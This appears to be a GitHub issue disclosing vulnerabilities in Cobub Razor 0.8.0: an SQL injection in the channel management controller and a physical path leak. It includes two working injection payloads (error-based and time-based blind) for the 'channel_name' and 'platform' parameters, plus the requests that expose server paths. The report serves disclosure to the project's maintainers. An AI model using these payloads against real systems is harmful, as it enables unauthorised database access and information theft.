Skip to content

Some vulnerabilities in Cobub Razor 0.8.0 #162

Open
@Kyhvedn

Description

@Kyhvedn

1)SQL injection
Code source: /application/controllers/manage/channel.php at line 75-95
The string of the 'channel_name' and 'platform' parameter transmission is completely without check and filter,so if the string is passed, it will lead to the existence of SQL injection vulnerability,This could result in full information disclosure.
The SQL injection type: error-based and AND/OR time-based blind
Parameter: channel_name,platform
Payload(This string is also applied to 'platform' at the same time):

1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1

2)physical path Leakage
The pages leaked the absolute path:
URL: http://localhost/export.php
http://localhost/index.php?/manage/channel/addchannel(POST method:channel_name=test"&platform=1)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions